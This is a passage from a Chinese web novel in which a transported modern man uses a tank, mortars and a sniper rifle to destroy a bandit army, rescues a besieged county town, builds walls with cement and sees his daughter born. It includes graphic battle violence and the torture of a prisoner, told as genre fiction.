副将咽了口唾沫,“最关键的是,那村子距离县城还有一段距离,就是块送到嘴边的肥肉!”
为首壮汉眼中瞬间爆发出饿狼般的光芒。
收拾一个小村庄,几百人绰绰有余!
“传令下去!绕过县城,全速前进!”他挥舞着手中的鬼头刀,狞笑道,“天黑之前,老子要在那个姓江的院子里喝酒!抢钱!抢粮!抢娘们儿!”
“吼——!”
五百匪兵发出野兽般的嚎叫,调转马头,直扑稻花村方向。
……
稻花村内。
一名身穿黑衣的死士斥候,如同鬼魅般出现在江夜面前,单膝跪地,语速极快且毫无波澜。
“报主人。黑风军先锋营五百人,改道向东,直奔本村而来,目前已过十里坡,预计一个时辰后到达落魂谷。”
江夜身形微顿,脸上露出一丝冷笑,眼神瞬间变得冰寒。
从现县城改道,冲着稻花村而来,看来这伙人是在等待大部队,顺便抢夺周边的财物。
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只可惜,他们盯错人了。
死士退下后,江夜立刻叫来了王囤,让他下去召集人手,准备抗敌。
“明白。”
王囤神情肃穆,领命退下。
……
黑风军即将杀进稻花村的消息,很快在村里传开。
村民们顿时慌乱成了一团。
“黑风军来了!要**了!”
“快跑啊!听说那些人烧杀抢掠,无恶不作,再不跑就没命了!”
村民们背着包袱,拖着哭闹的孩子,像没头苍蝇一样在村道上乱窜。
“大家都安静!”
江夜带着一百名身穿黑色重甲、手持唐刀的死士出现。
他身披黑色大氅,面沉如水。
喧闹的人群瞬间安静下来,几百双惊恐的眼睛齐刷刷地看向江夜。
“江……江先生,咱们快逃吧!”赵老汉颤巍巍地挤出人群。
“那是**不眨眼的兵啊,咱们哪里比得了人家军营出来的啊!
趁现在躲进深山里,或许还能留条命……”
“是啊江先生,留得青山在不愁没柴烧啊!”
附和声四起。
江夜冷冷地扫视着下方一张张惊慌失措的脸。
“逃?往哪逃?”
江夜的声音,清晰地传进每个人的耳朵里,“进了山,没吃没喝,等着喂狼?还是等着被那些溃兵搜山,一个个揪出来**?”
村民们面面相觑,眼中的恐惧更甚。
“我江夜的家眷在这里。”江夜指了指身后的宅院,江夜厉声道,“我哪儿也不会去。”
“稻花村只要有我在,就不会有事。”
话落,他猛地拔出腰间长刀,刀锋直指苍穹,寒光凛冽。
“王囤!”
“在!”王囤一身手持**,大步跨出,吼声如雷。
“通知下去,让老弱妇孺全部进地窖躲避!青壮年**全村。”江夜眼中杀机毕露。
“所有护院成员把咱们的新家伙都带上,随我去落魂谷!”
“既然他们想死,那我就成全他们,把这五百颗脑袋,留下来当肥料!”
村民们看着那杀气腾腾的队伍,原本慌乱的心竟奇迹般地安定了下来。
不知是谁喊了一句:“听江先生的!咱们不跑!要是这帮狗日打进来,就跟他们拼了!”
“对!拼了!谁敢抢老子的粮,老子刨他祖坟!”
江夜看着安定不少的村民们,心中满意了几分。
随即,他不在多做停留,大步流星走向村外。
落魂谷,那是进村的必经之路,两山夹一沟,地形狭窄。
既然来了,就让他们一个都走不了。
第220章 降维打击,落魂谷葬神
稻花村外五里,落魂谷。
此处两山夹峙,中间一条小道蜿蜒而过,两侧怪石嶙峋,风穿谷而过,发出如鬼哭狼嚎般的呜咽声,故名落魂。
两侧山脊的灌木丛后,百余道身影屏息凝神,仿佛与山石融为一体。
江夜半蹲在一块凸起的岩石后,身前架着三根黑黝黝的金属管子。
这是从系统**库里掏出来的迫击炮。
王囤趴在旁边,手里紧紧攥着长刀,手心全是汗。
江夜调整着炮口的仰角,大拇指竖起,眯着眼比划了一下距离。
王囤看着江夜那镇定自若的模样,心里的慌乱莫名少了几分。
“来了。”
身旁一名死士低声提醒。
远处尘土飞扬,马蹄声如雷鸣般滚滚而来。
那五百黑风军先锋,根本没把这穷乡僻壤放在眼里。
既没有斥候探路,也没有丝毫戒备,大摇大摆地冲进了落魂谷。
为首的统领骑着一匹高头大马,满脸横肉随着马匹颠簸乱颤。
他手里提着马鞭,指着前方大笑道:“兄弟们快着点!听说那江家的小娘皮刚生完孩子,正是最有韵味的时候!去晚了,汤都喝不上一口!”
“今晚咱就在大财主家大被同眠!”
污言秽语在山谷间回荡,一群人笑得肆无忌惮。
山脊上,江夜眼神骤冷。
龙有逆鳞,触之必死。
这群畜生,千不该万不该,把主意打到他妻儿身上。
江夜手里掂量着一枚黄澄澄的炮弹,手腕一抖,炮弹滑入炮管。
一声沉闷的响声,仿佛闷雷在耳边炸开。
紧接着,又是两声。
“通!通!”
三枚炮弹划破长空,在空中划出一道完美的抛物线,直奔谷底那密集的人群而去。
谷底的黑风军听到这怪异的啸声,纷纷抬头。
“什么动静?”
“那是啥?黑乎乎的鸟?”
统领刚抬起头,瞳孔瞬间缩成针尖大小。
那黑点在他眼中极速放大。
“轰——!!!”
第一枚炮弹精准地落在队伍正中央。
火光冲天而起,巨大的**声瞬间震碎了山谷的宁静。
恐怖的气浪夹杂着弹片,以落点为中心,向四周疯狂肆虐。
处于**中心的十几名骑兵连惨叫都来不及发出,瞬间被撕成了碎肉,断肢残臂伴随着腥红的血雨漫天飞舞。
紧接着。
“轰!轰!”
又是两声巨响,前后夹击。
原本整齐的骑兵队伍瞬间被炸开了花。
战马受惊,嘶鸣着四处乱窜,将背上的骑士甩下来,又被慌乱的马蹄踩成肉泥。
硝烟弥漫,血腥味瞬间盖过了尘土味。
“啊——!我的腿!我的腿没了!”
“妖法!这是妖法!”
“天雷!老天爷降罚了!快跑啊!”
刚才还不可一世的黑风军,此刻已经被炸懵了。
他们哪里见过这种场面?
看不见敌人,只有从天而降的火球和雷声,瞬间就能把人炸得粉身碎骨。
这种未知的恐惧,比面对千军万马更让人崩溃。
统领被气浪掀翻在地,半边脸都被弹片削没了,鲜血淋漓。
他挣扎着爬起来,看着眼前如同炼狱般的场景,吓得肝胆俱裂。
“撤!快撤!”
然而,晚了。
山脊之上,江夜缓缓站起身,拔出腰间那柄寒光凛冽的唐刀。
“除了为首的那几个,其他的一个不留!”
声音透着刺骨的杀意,清晰地传遍整个山谷。
“杀——!!!”
死士率先跃出灌木丛。
他们面覆铁具,如同幽灵般从山坡上冲杀而下。
江夜从高处跃下,
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借着冲势,手中唐刀划出一道凄美的弧线。
“噗!”
一名刚爬上马背想要逃窜的黑风军,连人带马被这一刀劈成两半。
鲜血喷溅在江夜那件藏青色的长袍上,更添几分肃杀。
江夜脚步不停,身形如鬼魅般在敌群中穿梭。
每一刀挥出,必有一人倒下。
那死士更是恐怖。
他们手中的唐刀皆是系统出品的精钢打造,削铁如泥。
黑风军身上的皮甲在他们面前就像纸糊的一样。
“救命啊!我不抢了!我回家!”
残存的黑风军心理防线彻底崩塌,丢盔弃甲,跪地求饶。
但死士们没有任何感情,手起刀落,收割着这些罪恶的生命。
王囤带着护院队紧随其后。
原本有些腿软的护院们,看到东家如此神勇,体内的血性彻底被激发出来。
“敢来我们村抢女人和粮食!”
“弄死他们!”
王囤一刀砍翻一个吓破胆的流寇。
不到半个时辰。
战斗结束。
落魂谷内,尸横遍野,血流成河。
空气中弥漫着浓重的血腥味和硝烟味。
江夜站在尸堆之中,长刀斜指地面,鲜血顺着血槽缓缓滴落。
王囤气喘吁吁地跑过来,看了看那几门还在冒烟的迫击炮,眼神中充满了敬畏。
“东……东家,都解决了。”
王囤咽了口唾沫,声音有些发颤。
以前他只知道东家有钱、有本事,是个大善人。
今天他才知道,自家东家不仅是活菩萨,更是活阎王!
“打扫战场。”
江夜收刀入鞘,语气平静,“把马匹、兵器、盔甲都收拢起来,尸体烧了,别留瘟疫。”
“是!”王囤挺直腰杆,大声应道。
此刻,他对江夜的崇拜已经到了盲目的地步。
第221章 兵临城下,人性之恶
稻花村,打谷场。
往日里晒谷扬场的地方。
几十个战俘被五花大绑,跪成一排。
周围围满了村民,他们手里攥着锄头、镰刀,眼里的恐惧已经褪去,取而代之的是一种从未有过的愤怒。
江夜坐在一把太师椅上,手里把玩着一枚从战场上捡来的黑铁令牌。
他神色平静,看不出喜怒,但那股子从骨子里透出来的寒意,却让跪在前面的战俘战战兢兢。
“我不喜欢废话。”
“主力到哪儿了?”
跪在最前面的小头目,一双眼睛像淬了毒一样盯着江夜。
他嘶哑着嗓子低吼:“有种就给老子一个痛快!十八年后又是一条好汉!大统领会把你们这帮泥腿子剁成肉酱,替我们报……”
“咔嚓!”
话音未落,骨裂声响彻全场!
站在江夜身侧的那名死士,一脚踩在了他的小腿上。
他的小腿瞬间以一个诡异的角度向内弯折,森白的断骨甚至刺穿了皮肉和裤管,暴露在空气中。
“啊——!”
惨叫声刚出口半截,就被死士用刀鞘狠狠抽在嘴上,满嘴碎牙混着血沫喷了出来。
“我说!我说!”小头目那点骨气在剧痛之下,立马消失得没影了。
他顾不得疼,鼻涕眼泪糊了一脸,裤裆处更是湿了一大片,骚臭味弥漫开来,“别杀我!我是黑风军前锋营副尉!”
江夜微微抬手,死士收回了脚。
“主力……主力两千五百人,由大统领独眼龙亲自率领,他们比我们慢一步,算时间,今天应该到了亲河县……开始攻打青石县城了!”
小头目一边磕头一边哆嗦,“大统领还说了,到了清河比县,不仅要抢粮,还要……还要把那县令的脑袋砍下来祭旗,挂在城头暴晒三日!”
“咔。”
江夜手中的黑铁令牌被生生捏变了形。
**?祭旗?
那可是他孩子的娘!
若是城破……
江夜不敢往下想,眼中的杀意几乎要溢出来。
“全都处理了。”
江夜站起身,扔下变形的令牌,语气冰冷。
“饶命啊!爷爷饶命……”
求饶声戛然而止。
江夜头也没回,大步走向村口。
“王囤!”
“在!”王囤大步上前,煞气腾腾。
“稻花村即刻起进入一级戒备。”江夜语速极快,不容置疑,“把所有的拒马桩都推到路口,迫击炮架好,若有漏网之鱼敢靠近,不管是谁,杀无赦!”
“是,东家!”王囤吼道,眼中满是决绝。
江夜点点头,转身看向那一百名静立如松的死士。
“全体上马,目标青石县城。”
马鞭挥落,江夜一马当先,如离弦之箭冲出村口。
身后,一百骑铁骑卷起漫天烟尘,带着毁灭一切的气势,直扑县城方向。
……
青石县城。
喊杀声震天动地,浓黑的硝烟遮蔽了半个天空。
城墙此刻已是千疮百孔,墙体上插满了箭矢,几处墙垛被投石机砸塌。
城下,黑风军阵营的正中央,一名身材魁梧的巨汉骑在高头大马上。
他赤裸着上身,露出精壮的肌肉,胸口处纹着一只狰狞的狼头。
这便是黑风军的大统领,独眼龙。
“**,这龟壳还挺硬!”独眼龙吐了一口唾沫,独眼中闪烁着残忍的光芒,“给老子上手段!”
随着他一声令下,原本还在攻城的士兵突然向两侧散开。
紧接着,数百
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名衣衫褴褛的百姓被驱赶到了阵前。
这里面有老人,有妇女,甚至还有哇哇大哭的孩童。
他们被绳索连成一串,身后是手持明晃晃大刀的督战队。
“往前走!谁敢停下老子就砍了谁!”
一名黑风军小校狞笑着,一刀砍翻了一个走得慢的老者,鲜血溅了旁边的妇人一脸。
“啊——!”尖叫声、哭喊声响成一片。
这群手无寸铁的百姓,被逼着向城门方向移动,充当起了活体肉盾。
城墙之上。
沈砚秋一身银色甲胄,束起的长发有些凌乱,几缕发丝贴在满是汗水的脸颊上。
她虽面容憔悴,但身姿依旧挺拔,只是那双握着长剑的手,却在剧烈颤抖。
“大人!放箭吧!再不放箭,他们就要冲到城门下了!”身旁的**急得眼眶通红,声音嘶哑。
沈砚秋死死咬着嘴唇。
底下那些是她的子民!是她发誓要守护的百姓!
如今,要她亲手下令射杀他们?
“不能放……”沈砚秋声音颤抖,指甲深深嵌入掌心,“他们也是人命……”
“哈哈哈哈!沈大人真是菩萨心肠啊!”
城下,独眼龙运足了内力,猖狂的笑声传遍了整个战场,“既然沈大人舍不得下手,那本统领就帮你一把!都给我冲!谁敢后退,这就是下场!”
他手起刀落,直接将身边一个想要逃跑的少年劈成两半。
“冲啊!不想死的就往城门冲!”
在死亡的威胁下,难民们哭喊着冲向城门。
混在难民群中的黑风军精锐,则举着盾牌,狞笑着逼近。
“大人!那是冲车!他们要把冲车推过来了!”**指着难民身后那巨大的攻城器械,绝望地吼道。
第222章 钢铁巨兽,降维打击
巨大的冲车撞木一次又一次的砸在城门上,那扇饱经风霜的红漆木门的门栓处裂开一道细纹,灰尘簌簌落下。
“大人!门栓裂了!”守城校尉满脸血污,声音带着哭腔,“顶不住了!真的顶不住了!”
沈砚秋死死抓着城墙垛口,指节泛白。
她看着底下那些被当作肉盾、眼神空洞的百姓,那是她治下的子民,也是此刻勒在她脖子上的绞索。
放箭,是**百姓。
不放,是满城尽屠。
“哈哈哈哈!用力!给老子撞开它!”独眼龙挥舞着大刀,在那辆巨大的冲车旁狂笑,“破城之后,先抢钱粮,再玩女人!老子还要把那细皮嫩肉的县令大人挂在城门口!”
“咚——!”
又是一声巨响。
城门后的几根顶门粗木发出一声脆响,断裂开来。
绝望,如同潮水般淹没了城头的守军。
完了。
一切都完了。
就在这千钧一发之际。
“嗡——”
地平线的尽头,突然传来一阵怪异的低鸣。
战场上诡异地安静了一瞬。
无论是疯狂撞门的黑风军,还是城头绝望的守军,亦或是那些哭喊的百姓,都不约而同地停下了动作,茫然地看向声音传来的方向。
那是城西的官道,也是通往稻花村的方向。
独眼龙勒住马缰,独眼微眯,眺望着远处那团越来越近的黄沙。
“骑兵?不对……这动静不像马蹄声。”
他话音未落,那团黄沙猛地被撕开。
一个庞大、散发着冰冷金属光泽的“怪物”,冲了出来。
它身下转动着两条宽大的钢铁履带,碾碎了路面上的一切碎石。
扁平且厚重的车头,上面伸出一根黑洞洞的管子。
阳光洒在它那墨绿色的装甲上,反射出令人心悸的寒光。
“这……这是什么东西?”独眼龙瞪大了那只独眼,“没腿还能跑?上古妖兽?”
周围的黑风军更是吓得连连后退。
“这玩意儿怎么没头没尾的?”
“老大,它冲过来了!”
钢铁怪兽履带卷起泥土,带着无可匹敌的气势,直直地朝着黑风军的中军大阵碾压而来。
驾驶舱内。
江夜头戴黑色坦克帽,护目镜下的双眼冷若冰霜。
他熟练地操纵着这台“59式中型坦克”。
虽然在现代这玩意儿算是老古董,但在这个冷兵器时代,它就是无敌的存在!
“两千五百人?正好给这老伙计开开荤。”
江夜透过观瞄镜,那个骑着高头大马的独眼龙清晰可见。
“距离八百米,高爆弹一发,装填完毕。”
江夜右手按下击发按钮。
“轰——!!!”
一声巨响,坦克炮口喷出一团橘红色的火焰,巨大的后坐力让这几十吨重的钢铁巨兽都猛地一颤。
高爆弹撕裂空气,带着尖锐的呼啸声,跨越了八百米的距离,精准地砸在了独眼龙身旁的那群亲卫队中。
“轰隆——!”
大地猛烈震颤。
蘑菇云腾空而起。
**
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中心,十几名骑着战马的精锐悍匪连惨叫都没来得及发出,瞬间就被恐怖的高温和冲击波撕成了碎片。
残肢断臂混杂着马匹的碎肉,如同下了一场暴雨。
独眼龙虽然因为马匹受惊偏离了几米,侥幸没被炸到,但也被巨大的气浪掀飞出去,重重摔在地上。
“啊——!”
“天雷!是天雷!”
“这怪物会喷火!”
原本凶悍无比的黑风军,此刻彻底乱了套。
这种超越了认知的恐怖打击,瞬间击碎了他们所有的心理防线。
然而,噩梦才刚刚开始。
“既然来了,就别走了。”
江夜冷哼一声,坦克并没有停下,而是全速冲锋。
同时,炮塔旁的并列**发出了死神的咆哮。
“哒哒哒哒哒哒——!”
火舌喷吐,密集的**横扫过惊慌失措的人群。
那些身穿皮甲、手持盾牌的所谓精锐,在7.62毫米的****面前,就像纸糊的一样脆弱。
一排排黑风军如同割草般倒下,身上爆出一团团血雾。
“跑啊!快跑啊!”
“这是妖法,妖法!”
前一刻还叫嚣着要屠城的黑风军,此刻丢下兵器,连滚带爬地向四周逃窜。
但人的两条腿,怎么跑得过钢铁洪流?
坦克那巨大的履带碾过地上的拒马,几个吓傻了没来得及跑的流寇,直接被卷入履带之下。
“噗嗤!”
惨叫声瞬间被引擎的轰鸣声淹没,只留下一滩滩暗红色的印记。
第223章 钢铁洪流,一枪爆头
城墙之上,死一般的寂静。
手握卷刃钢刀的守军,全都呆呆地看着城下那不可思议的一幕。
原本被黑风军视作攻城利器的巨大冲车,在这怪物面前就像是个玩笑。
“咔嚓——轰!”
钢铁履带碾压而上,粗大的原木瞬间崩裂成无数木屑,坚固的车轮被压成扁平的废铁。
“这……这是什么神兽?”**愣在原地,满脸呆滞。
“没有腿,却跑得比马还快?还能喷火?”
沈砚秋双手死死扣着墙垛。
她美眸中,倒映着那庞大的钢铁身躯,以及跟在巨兽身后,那一队宛如来自地狱的黑色骑兵。
黑甲,唐刀,面覆铁具。
虽然看不清面容,但死士手上,那面迎风招展的黑色旗帜上,一个“江”字,映入眼帘。
“江……”
沈砚秋红唇微张,紧绷的神经瞬间松懈,一股难以言喻的酸楚涌上鼻尖。
是他。
那个总能在关键时刻为她撑起一片天的男人。
“那是援军!是我们的人!”
沈砚秋拔出插在城垛上的长剑,清冷的声音因为激动而带上了一丝颤抖。
“那是稻花村江家的队伍!是来救我们的!”
“援军?!”
“真的是援军!”
守军们愣了半晌,随即爆发出震耳欲聋的欢呼声。
城下。
战场局势已是一边倒。
所谓的黑风军精锐,在那辆59式坦克面前,就是一群待宰的羔羊。
江夜没有再去操控火炮,那一发高爆弹和**扫射,已经彻底击碎了敌人的胆。
现在要做的,就是碾压。
坦克挂上三档,全速冲击。
那些原本还想负隅顽抗的黑风军,手里的长刀砍在坦克装甲上,连漆皮都蹭不掉一块。
坦克一个摆尾,几十吨的重量直接将他们连人带盾撞飞出十几米远。
“快跑!”
“刀砍不动,枪扎不透,这仗没法打!”
原本密集的攻城阵型瞬间炸窝,两千多号人丢盔弃甲,慌不择路的逃命。
与此同时,城墙上的沈砚秋也反应过来。
她下达指令:“**,打开城门杀出去!配合江先生,剿灭这群畜生!”
“遵命!”**拔出腰间长剑,带领守军们冲出城门。
“杀!!”
憋屈了许久的守军们早就红了眼,城门大开,喊杀声震天动地。
乱军之中,黑风军大统领独眼龙此时早已没了之前的嚣张气焰。
那发炮弹的余波没炸死他,却把他吓破了胆。
“挡住!都给老子挡住那怪物!”
独眼龙一边挥刀砍翻两个挡路的溃兵,一边拼命抽打马鞭,试图往侧面的树林里钻。
“只要进了林子,老子就能活!等老子回去纠集大军,定要将这一切都讨回来……”独眼龙伏在马背上,独眼中满是怨毒。
他身边的几名亲卫倒是忠心,硬着头皮调转马头,想要去阻拦那辆坦克。
然而,在那轰鸣的履带面前,血肉之躯脆弱得如同豆腐。
“噗嗤——”
坦克没有减速,直接从那群亲卫身上碾了过去。
独眼龙和其他亲兵回头看了一眼,顿时魂飞魄散,心脏差点从嗓子眼里跳出来。
他们疯了一样策马狂奔,眼看着前面的树林越来越近,独眼龙心中刚升起一丝生的希望。
……
突然,那轰鸣的怪兽停了下来。
江夜一脚踹开顶部的舱盖,
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半个身子探出车外。
硝烟混杂着血腥味扑面而来,他却连眉头都没皱一下。
反手从舱内拎出一把通体墨绿的**。
AWM**。
这是可是他**库里的大杀器,配上8倍光学瞄准镜,在这个时代,就是死神的镰刀。
江夜动作娴熟地架起枪,**抵住肩窝,脸颊贴上冰冷的枪身。
“咔嚓。”
**上膛,清脆悦耳。
透过瞄准镜,八百米外的世界瞬间拉近。
江夜嘴角勾起一抹冷冽的弧度,呼吸屏住,食指缓缓扣动**。
“砰——!”
八百米外。
正在狂奔的独眼龙,脑袋像是被铁锤砸中的西瓜,瞬间炸裂开来。
红的白的,在空中绽放出一朵凄艳的血花。
失去头颅的尸体在马背上僵直了片刻,随后无力地向一侧歪倒,重重摔在尘土之中。
那匹受惊的战马还在继续狂奔,拖着那具无头尸体跑出老远,在地上犁出一道长长的血痕。
“大统领……**?!”
周围跟着逃命的亲兵只觉得脸上溅了一片温热。
回头一看,自家老大已经成了无头鬼,顿时吓得魂飞魄散。
“降者不杀!”
江夜收枪,站在坦克顶端,气沉丹田,一声暴喝,响彻整个战场。
与此同时,一百名全副武装的死士策马赶到,手中唐刀寒光凛冽,齐声怒吼:“降者不杀!!”
那些还在逃窜的黑风军,看着远处那具无头尸体,再看看那辆仿佛来自地狱的钢铁战车,双腿一软,纷纷跪倒在地。
“别杀我!我投降!”
“饶命啊!”
兵器落地的声音此起彼伏,黑压压跪倒了一片。
第224章 钢铁入城,点泥成石
与此同时,城门方向。
青石县那两扇饱经摧残的城门,缓缓向内打开。
沈砚秋站在城门正中央,身后是数千名死里逃生的守军和满城百姓。
她虽满脸倦容,那双眸子却散发着炽热的光芒。
“江先生救全城百姓于水火,本官……代青石县百姓,谢过江先生。”沈砚秋双手抱拳,高呼一声。
“谢江先生——!!”
数万人的呐喊声汇聚成浪,直冲云霄。
大地微微震颤。
江夜开着那辆墨绿色的59式坦克,履带碾过碎石,缓缓驶入城门。
对于百姓而言,这就是神迹,是上古神兽降临人间。
当坦克驶过护城河的那一刻,道路两旁的百姓如同齐刷刷地跪了下去,高声道。
“拜见神将!拜见神兽!”
百姓们眼中满是狂热与敬畏。
在这个迷信的时代,不需要任何解释,能喷火、能跑、刀枪不入的钢铁怪物,除了天上的神兽下凡,还能是什么?
王囤骑着高头大马,跟在坦克侧后方。
看着周围那些敬畏的目光,对江夜的崇拜再次拔高。
坦克停在县衙前的广场上。
江夜翻身跃下,脚刚沾地,沈砚秋快步迎了上来。
她强端着县令的威仪,但眼眶还是忍不住泛红:“辛苦你了。”
千言万语,只化作这句话。
江夜在她五米开外的位置定定看着她,只说了一句:“是我的责任。”
沈砚秋身子一僵,脸颊瞬间飞起两朵红云,狠狠瞪了他一眼,心里却是甜得发腻。
这混蛋,都什么时候了,还这么不正经。
“咳咳。”
**在旁边尴尬地咳嗽了两声,提醒自家大人注意影响。
江夜不等沈砚秋开口便收了脸上的笑意,正色道:“仗打完了,活儿还没完。这满地的烂摊子,得收拾。”
大战落幕,危机解除,但青石县却是一片狼藉。
城墙破损严重,西门更是被撞塌了一半,到处都需要修整
若是再有流寇来袭,根本无险可守。
所以江夜并没有回稻花村,而是帮助沈秋处理战后事宜。
两千多名投降的黑风军俘虏,被死士们用绳子串成一串,像牲口一样驱赶着清理战场、搬运尸体、修补城墙。
对于这些人,江夜没有半点怜悯。
敢把刀口对准老弱妇孺,就要做好当苦力的觉悟。
“快点!没吃饭吗?谁敢偷懒,今天的饭减半!”王囤手里提着马鞭,站在高处监工,那副凶神恶煞的模样,比之前的黑风军还像匪军。
俘虏们敢怒不敢言,只能咬着牙,扛着几百斤重的条石,步履蹒跚地往城墙上挪。
与此同时,县衙后院,一处临时辟出来的空地上。
江夜正指挥着几个赤膊的老工匠,围着一口巨大的铁锅忙活。
“江先生,这……这灰扑扑的泥粉,真能把石头粘起来?”
说话的是县里资历最老的泥瓦匠张老头,干了一辈子修修补补的活,糯米汁拌石灰他见过。
但这灰不溜秋的粉末,还要兑水拌沙子,他是闻所未闻。
“能不能行,试试不就知道了。”江夜手里端着茶盏,神色淡然。
这是他调配出来的现代水泥配方,经过这几日的烧制,第一批成品刚刚出炉。
几个工匠将信将疑,按照江夜的吩咐,将水泥、沙子和碎石按比例混合,加水搅拌成泥浆。
“这玩意儿看着跟稀泥似的,能顶什么用?”张老头嘟囔着,但手里的活却没停。
江夜指了指两块断裂的青石:“把这泥浆抹在中间,粘起来,然后等它干。”
工匠们照做。
时间一分一秒过去。
起初,那泥浆软趴趴的,毫无支撑力。
张老头摇了摇头,心里暗道这江先生虽然打仗厉害,但这工匠活儿,还得是他们内行。
然而,两个时辰后。
原本湿软的泥浆表面泛起一层灰白色的硬壳。
到了第二天清晨。
当张老头再次来到后院时,伸手一摸那接缝处,脸色瞬间变了。
硬得硌手!
他不信邪,抄起旁边的一把铁锤,对着那接缝处狠狠砸了下去。
“当——!”
一声脆响,火星四溅。
张老头只觉得虎口发麻,手里的铁锤都差点脱手飞出,但那接缝处,除了留下一个白点,纹丝不动!
甚至比原本的青石还要坚硬几分!
“这……这怎么可能?!”
张老头整个人如同被雷劈了一般,颤颤巍巍地抚摸着那灰色
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这灰色的泥浆,干了之后竟然变成了坚不可摧的磐石!
“这是神迹啊!”张老头激动得老泪纵横,噗通一声跪在地上,对着那一堆水泥粉不住地磕头。
“有了这东西,咱们青石县的城墙,那就是铜墙铁壁啊!”
周围的工匠们也都围了上来,一个个像看绝世珍宝一样看着那一坨坨灰泥,嘴里啧啧称奇。
在这个时代,筑城需要耗费巨大的人力物力,还要用糯米汁这种昂贵的材料。
而江夜拿出的这种“神泥”,不仅原料便宜,而且坚硬程度远超岩石。
这要是用来修城墙,那青石县岂不是固若金汤?
江夜背着手走过来,看着这群激动得语无伦次的工匠,淡淡道:“这还只是最基础的用法而已。”
话落,他从怀里掏出一卷图纸,扔给张老头。
“照着这个图纸修。我要在城墙外围,再加筑一道三米厚的水泥墙。每隔五十米,修一个圆形的碉堡,留出射击孔。”
张老头捧着图纸,如获至宝,手都在哆嗦:“江先生放心!我马上去办!”
接下来的日子,青石县进入了修缮中。
两千俘虏没日没夜地干活,一车车石灰被运进窑厂,烧制成水泥。
原本破败的城墙,正以肉眼可见的速度拔高、加厚。
沈砚秋看着县城一天一个样的变化,眼中光彩熠熠。
……
入夜,县衙内宅。
江夜靠在床头,手里翻看着一本账册。
沈砚秋换上了一件月白色的绸缎睡袍,长发披散在肩头,少了白日里的威严,多了几分女子的柔媚。
“这次多亏了你。”她靠在江夜怀里,声音柔软,“若是城破,我真不知道该怎么办……”
“有我在,不会让你有事的。”江夜手掌顺着她的脊背缓缓下滑,最后停在她依旧平坦的小腹上。
那里,孕育着一个小生命。
感受到江夜掌心的温度,沈砚秋身子微微一颤。
“江夜……”她抬起头,眼波流转,“今晚……留下来吧。”
江夜看着怀中佳人那副任君采撷的模样,喉结滚动了一下。
他又不是柳下惠。
“这可是你说的。”
江夜低笑一声,挥袖熄灭了烛火。
第225章 喜得千金,全家福
半个月的时间,弹指一挥间。
江夜白天监工,晚上则在县衙内宅与沈砚秋相拥而眠,顺便帮她调理身体,安胎养神。
清石县的城墙在水泥的加持下,已然焕然一新。
城墙上,每隔五十米便耸立着一座圆柱形碉堡。
黑风军的残部被彻底打散,两千苦力干活倒也卖力。
清石县,局势已定。
这一日清晨,江夜站在城门口。
沈砚秋一身常服,眼含不舍,却还是开口叮嘱道:“路上小心。”
江夜翻身上马,朗声道:“这边若有事,随时让人送信。”
沈砚秋点头,朝着他挥了挥手。
江夜不再多说,带着一百名死士绝尘而去。
……
江夜一路上没有丝毫停留,将近两个时辰的路程,硬生生被他缩短了一半。
到了稻花村村口。
江夜还没来得及下马,在村口巡逻的护院就快步上前。
“东家!东家你可算回来了!”
“二夫人发作了,要生了!”
江夜脑子里嗡的一声,他直接飞身跃下,将缰绳随手往王囤怀里一扔,脚下生风般朝自家院子冲去。
江夜宅院,后院。
此时已是忙成了一团,但并不乱。
有了上次白梦夏生产的经验,再加上如今家里人手充足,一切都在有条不紊地进行着。
一盆盆热水被端进产房,慕容晴挺着肚子在外面指挥着丫鬟婆子。
“啊——!”
屋内传来一声痛苦的呼喊,那是白梦秋的声音。
平日里这丫头哪怕是磕破点皮都要撒娇半天,如今这般撕心裂肺的叫声,听得刚冲进院子的江夜心都要碎了。
“梦秋!”
江夜大步流星就要往产房里闯。
“哎哟我的爷!产房污秽,男人进不得啊!”
门口守着的刘婆子吓了一跳,张开双臂就要拦。
在这个时代,男人进产房那是大忌,说是会冲撞了血光。
“让开!我女人在里面拼命,我怕什么血光!”
江夜一把拨开刘婆子,直接推门而入。
一股混杂着血腥气扑面而来。
“夫君!”
正端着铜盆出来的林间雪惊呼一声,随即脸上露出喜色,“梦秋妹妹一直在喊你呢!”
江夜点了点头,大步走到床边。
床榻上,白梦秋满头青丝已被汗水浸透,湿哒哒地贴在苍白的脸颊上。
她双手死死抓着被褥,指节泛白。
当看到那个熟悉的身影出现在视线中时,她原本惶恐不安的眼神瞬间安定下来,眼泪也跟着涌了出来。
“夫君……我好疼……”
白梦秋带着哭腔,像是受了天大委屈。
“我在,别怕。”
江夜在床边坐下,伸手握住了白梦秋的手掌,替她擦去额角的汗珠。
“深呼吸,别乱喊,留着力气。”
江夜的声音仿佛有一种魔力,让白梦秋慢慢放松下来。
听着产婆的指挥,用力或者深呼吸。
“看到头了!看到头了!”
床尾的稳婆惊喜地喊道,“二夫人,用力!吸气——用力!”
白梦秋死死抓着江夜的手。
“啊——!”
她仰起头,发出一声竭尽全力的嘶喊。
江夜任由她抓着,甚至反手握得更紧。
“哇——!!”
一声清脆嘹亮的啼哭声,骤然响彻整个房间。
白梦秋身子一软,瘫倒在枕头上,大口大口地喘着粗气,脸上却露出了一抹虚弱的笑容。
“生了!生了!”
稳婆手脚麻利地剪断脐带,用温水清洗着婴儿身上的血污,随后用早就备好的细棉布包裹起来。
她抱着襁褓凑到江夜面前:“恭喜江老爷!贺喜江老爷!是个千金!这眉眼,跟二夫人简直是一个模子里刻出来的!”
江夜小心翼翼地伸出手,从稳婆怀里接过那个软绵绵的小家伙。
小家伙刚刚哭过,此时正闭着眼睛,小嘴一撇一
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撇的,粉嫩的皮肤透着健康的红晕。
这是他的女儿。
“让我……看看……”白梦秋虚弱地伸出手。
江夜连忙将孩子抱低有些,凑到她枕边。
白梦秋侧过头,看着那个粉雕玉琢的小婴儿。
她伸出手指,轻轻碰了碰女儿的小脸蛋,眼泪又掉了下来:“夫君,她好丑哦……”
“胡说。”
江夜轻笑一声,在白梦秋额头上吻了一下,“还没长开呢,以后肯定跟你一样,是个倾国倾城的大美人。”
“夫君给取个名字吧。”白梦秋眼神温柔。
江夜看着怀里的小家伙,沉吟片刻。
他不求女儿将来能有多大的成就,只要她能在这个乱世中,平安喜乐,无忧无虑。
“就叫江乐吧。”
江夜轻声道,“愿她一生喜乐,不知愁苦。”
“江乐……乐儿……”白梦秋嘴角弯起一抹甜甜的笑意,“好听,就叫乐儿。”
这时,房门被轻轻推开。
白梦夏抱着两个虎头虎脑的小家伙走了进来。
她身着一袭淡青色长裙,虽已是两个孩子的母亲,但身段依旧丰腴动人,眉眼间更多了几分母性的温婉。
